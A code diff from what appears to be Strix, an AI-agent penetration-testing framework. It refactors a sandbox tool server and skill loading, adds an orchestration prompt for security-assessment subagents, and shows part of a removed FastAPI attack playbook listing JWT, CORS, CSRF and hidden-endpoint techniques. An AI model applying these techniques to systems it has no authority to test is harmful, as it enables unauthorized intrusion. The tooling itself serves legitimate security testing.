logger.info(f"Registered agent {agent_id} with tool server")
|
except httpx.RequestError:
|
||||||
except (httpx.RequestError, httpx.HTTPStatusError) as e:
|
pass
|
||||||
logger.warning(f"Failed to register agent {agent_id}: {e}")
|
|
||||||
|
|
||||||
async def get_sandbox_url(self, container_id: str, port: int) -> str:
|
async def get_sandbox_url(self, container_id: str, port: int) -> str:
|
||||||
try:
|
try:
|
||||||
container = self.client.containers.get(container_id)
|
self.client.containers.get(container_id)
|
||||||
container.reload()
|
return f"http://{self._resolve_docker_host()}:{port}"
|
||||||
|
|
||||||
host = self._resolve_docker_host()
|
|
||||||
|
|
||||||
except NotFound:
|
except NotFound:
|
||||||
raise ValueError(f"Container {container_id} not found.") from None
|
raise ValueError(f"Container {container_id} not found.") from None
|
||||||
except DockerException as e:
|
|
||||||
raise RuntimeError(f"Failed to get container URL for {container_id}: {e}") from e
|
|
||||||
else:
|
|
||||||
return f"http://{host}:{port}"
|
|
||||||
|
|
||||||
def _resolve_docker_host(self) -> str:
|
def _resolve_docker_host(self) -> str:
|
||||||
docker_host = os.getenv("DOCKER_HOST", "")
|
docker_host = os.getenv("DOCKER_HOST", "")
|
||||||
if not docker_host:
|
if docker_host:
|
||||||
return "127.0.0.1"
|
from urllib.parse import urlparse
|
||||||
|
|
||||||
from urllib.parse import urlparse
|
|
||||||
|
|
||||||
parsed = urlparse(docker_host)
|
|
||||||
|
|
||||||
if parsed.scheme in ("tcp", "http", "https") and parsed.hostname:
|
|
||||||
return parsed.hostname
|
|
||||||
|
|
||||||
|
parsed = urlparse(docker_host)
|
||||||
|
if parsed.scheme in ("tcp", "http", "https") and parsed.hostname:
|
||||||
|
return parsed.hostname
|
||||||
return "127.0.0.1"
|
return "127.0.0.1"
|
||||||
|
|
||||||
def _get_extra_hosts(self) -> dict[str, str]:
|
|
||||||
return {HOST_GATEWAY_HOSTNAME: "host-gateway"}
|
|
||||||
|
|
||||||
async def destroy_sandbox(self, container_id: str) -> None:
|
async def destroy_sandbox(self, container_id: str) -> None:
|
||||||
logger.info("Destroying scan container %s", container_id)
|
|
||||||
try:
|
try:
|
||||||
container = self.client.containers.get(container_id)
|
container = self.client.containers.get(container_id)
|
||||||
container.stop()
|
container.stop()
|
||||||
container.remove()
|
container.remove()
|
||||||
logger.info("Successfully destroyed container %s", container_id)
|
self._scan_container = None
|
||||||
|
self._tool_server_port = None
|
||||||
|
self._tool_server_token = None
|
||||||
|
except (NotFound, DockerException):
|
||||||
|
pass
|
||||||
|
|
||||||
|
def cleanup(self) -> None:
|
||||||
|
if self._scan_container is not None:
|
||||||
|
container_name = self._scan_container.name
|
||||||
self._scan_container = None
|
self._scan_container = None
|
||||||
self._tool_server_port = None
|
self._tool_server_port = None
|
||||||
self._tool_server_token = None
|
self._tool_server_token = None
|
||||||
|
|
||||||
except NotFound:
|
if container_name is None:
|
||||||
logger.warning("Container %s not found for destruction.", container_id)
|
return
|
||||||
except DockerException as e:
|
|
||||||
logger.warning("Failed to destroy container %s: %s", container_id, e)
|
import subprocess
|
||||||
|
|
||||||
|
subprocess.Popen( # noqa: S603
|
||||||
|
["docker", "rm", "-f", container_name], # noqa: S607
|
||||||
|
stdout=subprocess.DEVNULL,
|
||||||
|
stderr=subprocess.DEVNULL,
|
||||||
|
start_new_session=True,
|
||||||
|
)
|
||||||
|
|||||||
@@ -27,3 +27,6 @@ class AbstractRuntime(ABC):
|
|||||||
@abstractmethod
|
@abstractmethod
|
||||||
async def destroy_sandbox(self, container_id: str) -> None:
|
async def destroy_sandbox(self, container_id: str) -> None:
|
||||||
raise NotImplementedError
|
raise NotImplementedError
|
||||||
|
|
||||||
|
def cleanup(self) -> None:
|
||||||
|
raise NotImplementedError
|
||||||
|
|||||||
@@ -2,11 +2,9 @@ from __future__ import annotations
|
|||||||
|
|
||||||
import argparse
|
import argparse
|
||||||
import asyncio
|
import asyncio
|
||||||
import logging
|
|
||||||
import os
|
import os
|
||||||
import signal
|
import signal
|
||||||
import sys
|
import sys
|
||||||
from multiprocessing import Process, Queue
|
|
||||||
from typing import Any
|
from typing import Any
|
||||||
|
|
||||||
import uvicorn
|
import uvicorn
|
||||||
@@ -23,17 +21,22 @@ parser = argparse.ArgumentParser(description="Start Strix tool server")
|
|||||||
parser.add_argument("--token", required=True, help="Authentication token")
|
parser.add_argument("--token", required=True, help="Authentication token")
|
||||||
parser.add_argument("--host", default="0.0.0.0", help="Host to bind to") # nosec
|
parser.add_argument("--host", default="0.0.0.0", help="Host to bind to") # nosec
|
||||||
parser.add_argument("--port", type=int, required=True, help="Port to bind to")
|
parser.add_argument("--port", type=int, required=True, help="Port to bind to")
|
||||||
|
parser.add_argument(
|
||||||
|
"--timeout",
|
||||||
|
type=int,
|
||||||
|
default=120,
|
||||||
|
help="Hard timeout in seconds for each request execution (default: 120)",
|
||||||
|
)
|
||||||
|
|
||||||
args = parser.parse_args()
|
args = parser.parse_args()
|
||||||
EXPECTED_TOKEN = args.token
|
EXPECTED_TOKEN = args.token
|
||||||
|
REQUEST_TIMEOUT = args.timeout
|
||||||
|
|
||||||
app = FastAPI()
|
app = FastAPI()
|
||||||
security = HTTPBearer()
|
security = HTTPBearer()
|
||||||
|
|
||||||
security_dependency = Depends(security)
|
security_dependency = Depends(security)
|
||||||
|
|
||||||
agent_processes: dict[str, dict[str, Any]] = {}
|
agent_tasks: dict[str, asyncio.Task[Any]] = {}
|
||||||
agent_queues: dict[str, dict[str, Queue[Any]]] = {}
|
|
||||||
|
|
||||||
|
|
||||||
def verify_token(credentials: HTTPAuthorizationCredentials) -> str:
|
def verify_token(credentials: HTTPAuthorizationCredentials) -> str:
|
||||||
@@ -65,60 +68,19 @@ class ToolExecutionResponse(BaseModel):
|
|||||||
error: str | None = None
|
error: str | None = None
|
||||||
|
|
||||||
|
|
||||||
def agent_worker(_agent_id: str, request_queue: Queue[Any], response_queue: Queue[Any]) -> None:
|
async def _run_tool(agent_id: str, tool_name: str, kwargs: dict[str, Any]) -> Any:
|
||||||
null_handler = logging.NullHandler()
|
from strix.tools.argument_parser import convert_arguments
|
||||||
|
from strix.tools.context import set_current_agent_id
|
||||||
root_logger = logging.getLogger()
|
|
||||||
root_logger.handlers = [null_handler]
|
|
||||||
root_logger.setLevel(logging.CRITICAL)
|
|
||||||
|
|
||||||
from strix.tools.argument_parser import ArgumentConversionError, convert_arguments
|
|
||||||
from strix.tools.registry import get_tool_by_name
|
from strix.tools.registry import get_tool_by_name
|
||||||
|
|
||||||
while True:
|
set_current_agent_id(agent_id)
|
||||||
try:
|
|
||||||
request = request_queue.get()
|
|
||||||
|
|
||||||
if request is None:
|
tool_func = get_tool_by_name(tool_name)
|
||||||
break
|
if not tool_func:
|
||||||
|
raise ValueError(f"Tool '{tool_name}' not found")
|
||||||
|
|
||||||
tool_name = request["tool_name"]
|
converted_kwargs = convert_arguments(tool_func, kwargs)
|
||||||
kwargs = request["kwargs"]
|
return await asyncio.to_thread(tool_func, **converted_kwargs)
|
||||||
|
|
||||||
try:
|
|
||||||
tool_func = get_tool_by_name(tool_name)
|
|
||||||
if not tool_func:
|
|
||||||
response_queue.put({"error": f"Tool '{tool_name}' not found"})
|
|
||||||
continue
|
|
||||||
|
|
||||||
converted_kwargs = convert_arguments(tool_func, kwargs)
|
|
||||||
result = tool_func(**converted_kwargs)
|
|
||||||
|
|
||||||
response_queue.put({"result": result})
|
|
||||||
|
|
||||||
except (ArgumentConversionError, ValidationError) as e:
|
|
||||||
response_queue.put({"error": f"Invalid arguments: {e}"})
|
|
||||||
except (RuntimeError, ValueError, ImportError) as e:
|
|
||||||
response_queue.put({"error": f"Tool execution error: {e}"})
|
|
||||||
|
|
||||||
except (RuntimeError, ValueError, ImportError) as e:
|
|
||||||
response_queue.put({"error": f"Worker error: {e}"})
|
|
||||||
|
|
||||||
|
|
||||||
def ensure_agent_process(agent_id: str) -> tuple[Queue[Any], Queue[Any]]:
|
|
||||||
if agent_id not in agent_processes:
|
|
||||||
request_queue: Queue[Any] = Queue()
|
|
||||||
response_queue: Queue[Any] = Queue()
|
|
||||||
|
|
||||||
process = Process(
|
|
||||||
target=agent_worker, args=(agent_id, request_queue, response_queue), daemon=True
|
|
||||||
)
|
|
||||||
process.start()
|
|
||||||
|
|
||||||
agent_processes[agent_id] = {"process": process, "pid": process.pid}
|
|
||||||
agent_queues[agent_id] = {"request": request_queue, "response": response_queue}
|
|
||||||
|
|
||||||
return agent_queues[agent_id]["request"], agent_queues[agent_id]["response"]
|
|
||||||
|
|
||||||
|
|
||||||
@app.post("/execute", response_model=ToolExecutionResponse)
|
@app.post("/execute", response_model=ToolExecutionResponse)
|
||||||
@@ -127,20 +89,42 @@ async def execute_tool(
|
|||||||
) -> ToolExecutionResponse:
|
) -> ToolExecutionResponse:
|
||||||
verify_token(credentials)
|
verify_token(credentials)
|
||||||
|
|
||||||
request_queue, response_queue = ensure_agent_process(request.agent_id)
|
agent_id = request.agent_id
|
||||||
|
|
||||||
request_queue.put({"tool_name": request.tool_name, "kwargs": request.kwargs})
|
if agent_id in agent_tasks:
|
||||||
|
old_task = agent_tasks[agent_id]
|
||||||
|
if not old_task.done():
|
||||||
|
old_task.cancel()
|
||||||
|
|
||||||
|
task = asyncio.create_task(
|
||||||
|
asyncio.wait_for(
|
||||||
|
_run_tool(agent_id, request.tool_name, request.kwargs), timeout=REQUEST_TIMEOUT
|
||||||
|
)
|
||||||
|
)
|
||||||
|
agent_tasks[agent_id] = task
|
||||||
|
|
||||||
try:
|
try:
|
||||||
loop = asyncio.get_event_loop()
|
result = await task
|
||||||
response = await loop.run_in_executor(None, response_queue.get)
|
return ToolExecutionResponse(result=result)
|
||||||
|
|
||||||
if "error" in response:
|
except asyncio.CancelledError:
|
||||||
return ToolExecutionResponse(error=response["error"])
|
return ToolExecutionResponse(error="Cancelled by newer request")
|
||||||
return ToolExecutionResponse(result=response.get("result"))
|
|
||||||
|
|
||||||
except (RuntimeError, ValueError, OSError) as e:
|
except TimeoutError:
|
||||||
return ToolExecutionResponse(error=f"Worker error: {e}")
|
return ToolExecutionResponse(error=f"Tool timed out after {REQUEST_TIMEOUT}s")
|
||||||
|
|
||||||
|
except ValidationError as e:
|
||||||
|
return ToolExecutionResponse(error=f"Invalid arguments: {e}")
|
||||||
|
|
||||||
|
except (ValueError, RuntimeError, ImportError) as e:
|
||||||
|
return ToolExecutionResponse(error=f"Tool execution error: {e}")
|
||||||
|
|
||||||
|
except Exception as e: # noqa: BLE001
|
||||||
|
return ToolExecutionResponse(error=f"Unexpected error: {e}")
|
||||||
|
|
||||||
|
finally:
|
||||||
|
if agent_tasks.get(agent_id) is task:
|
||||||
|
del agent_tasks[agent_id]
|
||||||
|
|
||||||
|
|
||||||
@app.post("/register_agent")
|
@app.post("/register_agent")
|
||||||
@@ -148,8 +132,6 @@ async def register_agent(
|
|||||||
agent_id: str, credentials: HTTPAuthorizationCredentials = security_dependency
|
agent_id: str, credentials: HTTPAuthorizationCredentials = security_dependency
|
||||||
) -> dict[str, str]:
|
) -> dict[str, str]:
|
||||||
verify_token(credentials)
|
verify_token(credentials)
|
||||||
|
|
||||||
ensure_agent_process(agent_id)
|
|
||||||
return {"status": "registered", "agent_id": agent_id}
|
return {"status": "registered", "agent_id": agent_id}
|
||||||
|
|
||||||
|
|
||||||
@@ -160,35 +142,16 @@ async def health_check() -> dict[str, Any]:
|
|||||||
"sandbox_mode": str(SANDBOX_MODE),
|
"sandbox_mode": str(SANDBOX_MODE),
|
||||||
"environment": "sandbox" if SANDBOX_MODE else "main",
|
"environment": "sandbox" if SANDBOX_MODE else "main",
|
||||||
"auth_configured": "true" if EXPECTED_TOKEN else "false",
|
"auth_configured": "true" if EXPECTED_TOKEN else "false",
|
||||||
"active_agents": len(agent_processes),
|
"active_agents": len(agent_tasks),
|
||||||
"agents": list(agent_processes.keys()),
|
"agents": list(agent_tasks.keys()),
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
def cleanup_all_agents() -> None:
|
|
||||||
for agent_id in list(agent_processes.keys()):
|
|
||||||
try:
|
|
||||||
agent_queues[agent_id]["request"].put(None)
|
|
||||||
process = agent_processes[agent_id]["process"]
|
|
||||||
|
|
||||||
process.join(timeout=1)
|
|
||||||
|
|
||||||
if process.is_alive():
|
|
||||||
process.terminate()
|
|
||||||
process.join(timeout=1)
|
|
||||||
|
|
||||||
if process.is_alive():
|
|
||||||
process.kill()
|
|
||||||
|
|
||||||
except (BrokenPipeError, EOFError, OSError):
|
|
||||||
pass
|
|
||||||
except (RuntimeError, ValueError) as e:
|
|
||||||
logging.getLogger(__name__).debug(f"Error during agent cleanup: {e}")
|
|
||||||
|
|
||||||
|
|
||||||
def signal_handler(_signum: int, _frame: Any) -> None:
|
def signal_handler(_signum: int, _frame: Any) -> None:
|
||||||
signal.signal(signal.SIGPIPE, signal.SIG_IGN) if hasattr(signal, "SIGPIPE") else None
|
if hasattr(signal, "SIGPIPE"):
|
||||||
cleanup_all_agents()
|
signal.signal(signal.SIGPIPE, signal.SIG_IGN)
|
||||||
|
for task in agent_tasks.values():
|
||||||
|
task.cancel()
|
||||||
sys.exit(0)
|
sys.exit(0)
|
||||||
|
|
||||||
|
|
||||||
@@ -199,7 +162,4 @@ signal.signal(signal.SIGTERM, signal_handler)
|
|||||||
signal.signal(signal.SIGINT, signal_handler)
|
signal.signal(signal.SIGINT, signal_handler)
|
||||||
|
|
||||||
if __name__ == "__main__":
|
if __name__ == "__main__":
|
||||||
try:
|
uvicorn.run(app, host=args.host, port=args.port, log_level="info")
|
||||||
uvicorn.run(app, host=args.host, port=args.port, log_level="info")
|
|
||||||
finally:
|
|
||||||
cleanup_all_agents()
|
|
||||||
|
|||||||
@@ -49,8 +49,9 @@ A good skill is a structured knowledge package that typically includes:
|
|||||||
- **Practical examples** - Working payloads, commands, or test cases with variations
|
- **Practical examples** - Working payloads, commands, or test cases with variations
|
||||||
- **Validation methods** - How to confirm findings and avoid false positives
|
- **Validation methods** - How to confirm findings and avoid false positives
|
||||||
- **Context-specific insights** - Environment and version nuances, configuration-dependent behavior, and edge cases
|
- **Context-specific insights** - Environment and version nuances, configuration-dependent behavior, and edge cases
|
||||||
|
- **YAML frontmatter** - `name` and `description` fields for skill metadata
|
||||||
|
|
||||||
Skills use XML-style tags for structure and focus on deep, specialized knowledge that significantly enhances agent capabilities for that specific context.
|
Skills focus on deep, specialized knowledge to significantly enhance agent capabilities. They are dynamically injected into agent context when needed.
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
|
|||||||
@@ -1,8 +1,12 @@
|
|||||||
from jinja2 import Environment
|
import re
|
||||||
|
|
||||||
from strix.utils.resource_paths import get_strix_resource_path
|
from strix.utils.resource_paths import get_strix_resource_path
|
||||||
|
|
||||||
|
|
||||||
|
_EXCLUDED_CATEGORIES = {"scan_modes", "coordination"}
|
||||||
|
_FRONTMATTER_PATTERN = re.compile(r"^---\s*\n.*?\n---\s*\n", re.DOTALL)
|
||||||
|
|
||||||
|
|
||||||
def get_available_skills() -> dict[str, list[str]]:
|
def get_available_skills() -> dict[str, list[str]]:
|
||||||
skills_dir = get_strix_resource_path("skills")
|
skills_dir = get_strix_resource_path("skills")
|
||||||
available_skills: dict[str, list[str]] = {}
|
available_skills: dict[str, list[str]] = {}
|
||||||
@@ -13,9 +17,13 @@ def get_available_skills() -> dict[str, list[str]]:
|
|||||||
for category_dir in skills_dir.iterdir():
|
for category_dir in skills_dir.iterdir():
|
||||||
if category_dir.is_dir() and not category_dir.name.startswith("__"):
|
if category_dir.is_dir() and not category_dir.name.startswith("__"):
|
||||||
category_name = category_dir.name
|
category_name = category_dir.name
|
||||||
|
|
||||||
|
if category_name in _EXCLUDED_CATEGORIES:
|
||||||
|
continue
|
||||||
|
|
||||||
skills = []
|
skills = []
|
||||||
|
|
||||||
for file_path in category_dir.glob("*.jinja"):
|
for file_path in category_dir.glob("*.md"):
|
||||||
skill_name = file_path.stem
|
skill_name = file_path.stem
|
||||||
skills.append(skill_name)
|
skills.append(skill_name)
|
||||||
|
|
||||||
@@ -70,36 +78,61 @@ def generate_skills_description() -> str:
|
|||||||
return description
|
return description
|
||||||
|
|
||||||
|
|
||||||
def load_skills(skill_names: list[str], jinja_env: Environment) -> dict[str, str]:
|
def _get_all_categories() -> dict[str, list[str]]:
|
||||||
|
"""Get all skill categories including internal ones (scan_modes, coordination)."""
|
||||||
|
skills_dir = get_strix_resource_path("skills")
|
||||||
|
all_categories: dict[str, list[str]] = {}
|
||||||
|
|
||||||
|
if not skills_dir.exists():
|
||||||
|
return all_categories
|
||||||
|
|
||||||
|
for category_dir in skills_dir.iterdir():
|
||||||
|
if category_dir.is_dir() and not category_dir.name.startswith("__"):
|
||||||
|
category_name = category_dir.name
|
||||||
|
skills = []
|
||||||
|
|
||||||
|
for file_path in category_dir.glob("*.md"):
|
||||||
|
skill_name = file_path.stem
|
||||||
|
skills.append(skill_name)
|
||||||
|
|
||||||
|
if skills:
|
||||||
|
all_categories[category_name] = sorted(skills)
|
||||||
|
|
||||||
|
return all_categories
|
||||||
|
|
||||||
|
|
||||||
|
def load_skills(skill_names: list[str]) -> dict[str, str]:
|
||||||
import logging
|
import logging
|
||||||
|
|
||||||
logger = logging.getLogger(__name__)
|
logger = logging.getLogger(__name__)
|
||||||
skill_content = {}
|
skill_content = {}
|
||||||
skills_dir = get_strix_resource_path("skills")
|
skills_dir = get_strix_resource_path("skills")
|
||||||
|
|
||||||
available_skills = get_available_skills()
|
all_categories = _get_all_categories()
|
||||||
|
|
||||||
for skill_name in skill_names:
|
for skill_name in skill_names:
|
||||||
try:
|
try:
|
||||||
skill_path = None
|
skill_path = None
|
||||||
|
|
||||||
if "/" in skill_name:
|
if "/" in skill_name:
|
||||||
skill_path = f"{skill_name}.jinja"
|
skill_path = f"{skill_name}.md"
|
||||||
else:
|
else:
|
||||||
for category, skills in available_skills.items():
|
for category, skills in all_categories.items():
|
||||||
if skill_name in skills:
|
if skill_name in skills:
|
||||||
skill_path = f"{category}/{skill_name}.jinja"
|
skill_path = f"{category}/{skill_name}.md"
|
||||||
break
|
break
|
||||||
|
|
||||||
if not skill_path:
|
if not skill_path:
|
||||||
root_candidate = f"{skill_name}.jinja"
|
root_candidate = f"{skill_name}.md"
|
||||||
if (skills_dir / root_candidate).exists():
|
if (skills_dir / root_candidate).exists():
|
||||||
skill_path = root_candidate
|
skill_path = root_candidate
|
||||||
|
|
||||||
if skill_path and (skills_dir / skill_path).exists():
|
if skill_path and (skills_dir / skill_path).exists():
|
||||||
template = jinja_env.get_template(skill_path)
|
full_path = skills_dir / skill_path
|
||||||
var_name = skill_name.split("/")[-1]
|
var_name = skill_name.split("/")[-1]
|
||||||
skill_content[var_name] = template.render()
|
content = full_path.read_text(encoding="utf-8")
|
||||||
|
content = _FRONTMATTER_PATTERN.sub("", content).lstrip()
|
||||||
|
skill_content[var_name] = content
|
||||||
logger.info(f"Loaded skill: {skill_name} -> {var_name}")
|
logger.info(f"Loaded skill: {skill_name} -> {var_name}")
|
||||||
else:
|
else:
|
||||||
logger.warning(f"Skill not found: {skill_name}")
|
logger.warning(f"Skill not found: {skill_name}")
|
||||||
|
|||||||
@@ -1,41 +0,0 @@
|
|||||||
<coordination_role>
|
|
||||||
You are a COORDINATION AGENT ONLY. You do NOT perform any security testing, vulnerability assessment, or technical work yourself.
|
|
||||||
|
|
||||||
Your ONLY responsibilities:
|
|
||||||
1. Create specialized agents for specific security tasks
|
|
||||||
2. Monitor agent progress and coordinate between them
|
|
||||||
3. Compile final scan reports from agent findings
|
|
||||||
4. Manage agent communication and dependencies
|
|
||||||
|
|
||||||
CRITICAL RESTRICTIONS:
|
|
||||||
- NEVER perform vulnerability testing or security assessments
|
|
||||||
- NEVER write detailed vulnerability reports (only compile final summaries)
|
|
||||||
- ONLY use agent_graph and finish tools for coordination
|
|
||||||
- You can create agents throughout the scan process, depending on the task and findings, not just at the beginning!
|
|
||||||
</coordination_role>
|
|
||||||
|
|
||||||
<agent_management>
|
|
||||||
BEFORE CREATING AGENTS:
|
|
||||||
1. Analyze the target scope and break into independent tasks
|
|
||||||
2. Check existing agents to avoid duplication
|
|
||||||
3. Create agents with clear, specific objectives to avoid duplication
|
|
||||||
|
|
||||||
AGENT TYPES YOU CAN CREATE:
|
|
||||||
- Reconnaissance: subdomain enum, port scanning, tech identification, etc.
|
|
||||||
- Vulnerability Testing: SQL injection, XSS, auth bypass, IDOR, RCE, SSRF, etc. Can be black-box or white-box.
|
|
||||||
- Direct vulnerability testing agents to implement hierarchical workflow (per finding: discover, verify, report, fix): each one should create validation agents for findings verification, which spawn reporting agents for documentation, which create fix agents for remediation
|
|
||||||
|
|
||||||
COORDINATION GUIDELINES:
|
|
||||||
- Ensure clear task boundaries and success criteria
|
|
||||||
- Terminate redundant agents when objectives overlap
|
|
||||||
- Use message passing only when essential (requests/answers or critical handoffs); avoid routine status messages and prefer batched updates
|
|
||||||
</agent_management>
|
|
||||||
|
|
||||||
<final_responsibilities>
|
|
||||||
When all agents complete:
|
|
||||||
1. Collect findings from all agents
|
|
||||||
2. Compile a final scan summary report
|
|
||||||
3. Use finish tool to complete the assessment
|
|
||||||
|
|
||||||
Your value is in orchestration, not execution.
|
|
||||||
</final_responsibilities>
|
|
||||||
92
strix/skills/coordination/root_agent.md
Normal file
92
strix/skills/coordination/root_agent.md
Normal file
@@ -0,0 +1,92 @@
|
|||||||
|
---
|
||||||
|
name: root-agent
|
||||||
|
description: Orchestration layer that coordinates specialized subagents for security assessments
|
||||||
|
---
|
||||||
|
|
||||||
|
# Root Agent
|
||||||
|
|
||||||
|
Orchestration layer for security assessments. This agent coordinates specialized subagents but does not perform testing directly.
|
||||||
|
|
||||||
|
You can create agents throughout the testing process—not just at the beginning. Spawn agents dynamically based on findings and evolving scope.
|
||||||
|
|
||||||
|
## Role
|
||||||
|
|
||||||
|
- Decompose targets into discrete, parallelizable tasks
|
||||||
|
- Spawn and monitor specialized subagents
|
||||||
|
- Aggregate findings into a cohesive final report
|
||||||
|
- Manage dependencies and handoffs between agents
|
||||||
|
|
||||||
|
## Scope Decomposition
|
||||||
|
|
||||||
|
Before spawning agents, analyze the target:
|
||||||
|
|
||||||
|
1. **Identify attack surfaces** - web apps, APIs, infrastructure, etc.
|
||||||
|
2. **Define boundaries** - in-scope domains, IP ranges, excluded assets
|
||||||
|
3. **Determine approach** - blackbox, greybox, or whitebox assessment
|
||||||
|
4. **Prioritize by risk** - critical assets and high-value targets first
|
||||||
|
|
||||||
|
## Agent Architecture
|
||||||
|
|
||||||
|
Structure agents by function:
|
||||||
|
|
||||||
|
**Reconnaissance**
|
||||||
|
- Asset discovery and enumeration
|
||||||
|
- Technology fingerprinting
|
||||||
|
- Attack surface mapping
|
||||||
|
|
||||||
|
**Vulnerability Assessment**
|
||||||
|
- Injection testing (SQLi, XSS, command injection)
|
||||||
|
- Authentication and session analysis
|
||||||
|
- Access control testing (IDOR, privilege escalation)
|
||||||
|
- Business logic flaws
|
||||||
|
- Infrastructure vulnerabilities
|
||||||
|
|
||||||
|
**Exploitation and Validation**
|
||||||
|
- Proof-of-concept development
|
||||||
|
- Impact demonstration
|
||||||
|
- Vulnerability chaining
|
||||||
|
|
||||||
|
**Reporting**
|
||||||
|
- Finding documentation
|
||||||
|
- Remediation recommendations
|
||||||
|
|
||||||
|
## Coordination Principles
|
||||||
|
|
||||||
|
**Task Independence**
|
||||||
|
|
||||||
|
Create agents with minimal dependencies. Parallel execution is faster than sequential.
|
||||||
|
|
||||||
|
**Clear Objectives**
|
||||||
|
|
||||||
|
Each agent should have a specific, measurable goal. Vague objectives lead to scope creep and redundant work.
|
||||||
|
|
||||||
|
**Avoid Duplication**
|
||||||
|
|
||||||
|
Before creating agents:
|
||||||
|
1. Analyze the target scope and break into independent tasks
|
||||||
|
2. Check existing agents to avoid overlap
|
||||||
|
3. Create agents with clear, specific objectives
|
||||||
|
|
||||||
|
**Hierarchical Delegation**
|
||||||
|
|
||||||
|
Complex findings warrant specialized subagents:
|
||||||
|
- Discovery agent finds potential vulnerability
|
||||||
|
- Validation agent confirms exploitability
|
||||||
|
- Reporting agent documents with reproduction steps
|
||||||
|
- Fix agent provides remediation (if needed)
|
||||||
|
|
||||||
|
**Resource Efficiency**
|
||||||
|
|
||||||
|
- Avoid duplicate coverage across agents
|
||||||
|
- Terminate agents when objectives are met or no longer relevant
|
||||||
|
- Use message passing only when essential (requests/answers, critical handoffs)
|
||||||
|
- Prefer batched updates over routine status messages
|
||||||
|
|
||||||
|
## Completion
|
||||||
|
|
||||||
|
When all agents report completion:
|
||||||
|
|
||||||
|
1. Collect and deduplicate findings across agents
|
||||||
|
2. Assess overall security posture
|
||||||
|
3. Compile executive summary with prioritized recommendations
|
||||||
|
4. Invoke finish tool with final report
|
||||||
@@ -1,142 +0,0 @@
|
|||||||
<fastapi_security_testing_guide>
|
|
||||||
<title>FASTAPI — ADVERSARIAL TESTING PLAYBOOK</title>
|
|
||||||
|
|
||||||
<critical>FastAPI (on Starlette) spans HTTP, WebSocket, and background tasks with powerful dependency injection and automatic OpenAPI. Security breaks where identity, authorization, and validation drift across routers, middlewares, proxies, and channels. Treat every dependency, header, and object reference as untrusted until bound to the caller and tenant.</critical>
|
|
||||||
|
|
||||||
<surface_map>
|
|
||||||
- ASGI stack: Starlette middlewares (CORS, TrustedHost, ProxyHeaders, Session), exception handlers, lifespan events
|
|
||||||
- Routers/sub-apps: APIRouter with prefixes/tags, mounted apps (StaticFiles, admin subapps), `include_router`, versioned paths
|
|
||||||
- Security and DI: `Depends`, `Security`, `OAuth2PasswordBearer`, `HTTPBearer`, scopes, per-router vs per-route dependencies
|
|
||||||
- Models and validation: Pydantic v1/v2 models, unions/Annotated, custom validators, extra fields policy, coercion
|
|
||||||
- Docs and schema: `/openapi.json`, `/docs`, `/redoc`, alternative docs_url/redoc_url, schema extensions
|
|
||||||
- Files and static: `UploadFile`, `File`, `FileResponse`, `StaticFiles` mounts, template engines (`Jinja2Templates`)
|
|
||||||
- Channels: HTTP (sync/async), WebSocket, StreamingResponse/SSE, BackgroundTasks/Task queues
|
|
||||||
- Deployment: Uvicorn/Gunicorn, reverse proxies/CDN, TLS termination, header trust
|
|
||||||
</surface_map>
|
|
||||||
|
|
||||||
<methodology>
|
|
||||||
1. Enumerate routes from OpenAPI and via crawling; diff with 404-fuzzing for hidden endpoints (`include_in_schema=False`).
|
|
||||||
2. Build a Principal × Channel × Content-Type matrix (unauth, user, staff/admin; HTTP vs WebSocket; JSON/form/multipart) and capture baselines.
|
|
||||||
3. For each route, identify dependencies (router-level and route-level). Attempt to satisfy security dependencies minimally, then mutate context (tokens, scopes, tenant headers) and object IDs.
|
|
||||||
4. Compare behavior across deployments: dev/stage/prod often differ in middlewares (CORS, TrustedHost, ProxyHeaders) and docs exposure.
|
|
||||||
</methodology>
|
|
||||||
|
|
||||||
<high_value_targets>
|
|
||||||
- `/openapi.json`, `/docs`, `/redoc` in production (full attack surface map; securitySchemes and server URLs)
|
|
||||||
- Auth flows: token endpoints, session/cookie bridges, OAuth device/PKCE, scope checks
|
|
||||||
- Admin/staff routers, feature-flagged routes, `include_in_schema=False` endpoints
|
|
||||||
- File upload/download, import/export/report endpoints, signed URL generators
|
|
||||||
- WebSocket endpoints carrying notifications, admin channels, or commands
|
|
||||||
- Background job creation/fetch (`/jobs/{id}`, `/tasks/{id}/result`)
|
|
||||||
- Mounted subapps (admin UI, storage browsers, metrics/health endpoints)
|
|
||||||
</high_value_targets>
|
|
||||||
|
|
||||||
<advanced_techniques>
|
|
||||||
<openapi_and_docs>
|
|
||||||
- Try default and alternate locations: `/openapi.json`, `/docs`, `/redoc`, `/api/openapi.json`, `/internal/openapi.json`.
|
|
||||||
- If OpenAPI is exposed, mine: paths, parameter names, securitySchemes, scopes, servers; find endpoints hidden in UI but present in schema.
|
|
||||||
- Schema drift: endpoints with `include_in_schema=False` won’t appear—use wordlists based on tags/prefixes and common admin/debug names.
|
|
||||||
</openapi_and_docs>
|
|
||||||
|
|
||||||
<dependency_injection_and_security>
|
|
||||||
- Router vs route dependencies: routes may miss security dependencies present elsewhere; check for unprotected variants of protected actions.
|
|
||||||
- Minimal satisfaction: `OAuth2PasswordBearer` only yields a token string—verify if any route treats token presence as auth without verification.
|
|
||||||
- Scope checks: ensure scopes are enforced by the dependency (e.g., `Security(...)`); routes using `Depends` instead may ignore requested scopes.
|
|
||||||
- Header/param aliasing: DI sources headers/cookies/query by name; try case variations and duplicates to influence which value binds.
|
|
||||||
</dependency_injection_and_security>
|
|
||||||
|
|
||||||
<auth_and_jwt>
|
|
||||||
- Token misuse: developers may decode JWTs without verifying signature/issuer/audience; attempt unsigned/attacker-signed tokens and cross-service audiences.
|
|
||||||
- Algorithm/key confusion: try HS/RS cross-use if verification is not pinned; inject `kid` header targeting local files/paths where custom key lookup exists.
|
|
||||||
- Session bridges: check cookies set via SessionMiddleware or custom cookies. Attempt session fixation and forging if weak `secret_key` or predictable signing is used.
|
|
||||||
- Device/PKCE flows: verify strict PKCE S256 and state/nonce enforcement if OAuth/OIDC is integrated.
|
|
||||||
</auth_and_jwt>
|
|
||||||
|
|
||||||
<cors_and_csrf>
|
|
||||||
- CORS reflection: broad `allow_origin_regex` or mis-specified origins can permit cross-site reads; test arbitrary Origins and credentialed requests.
|
|
||||||
- CSRF: FastAPI/Starlette lack built-in CSRF. If cookies carry auth, attempt state-changing requests via cross-site forms/XHR; validate origin header checks and same-site settings.
|
|
||||||
</cors_and_csrf>
|
|
||||||
|
|
||||||
<proxy_and_host_trust>
|
|
||||||
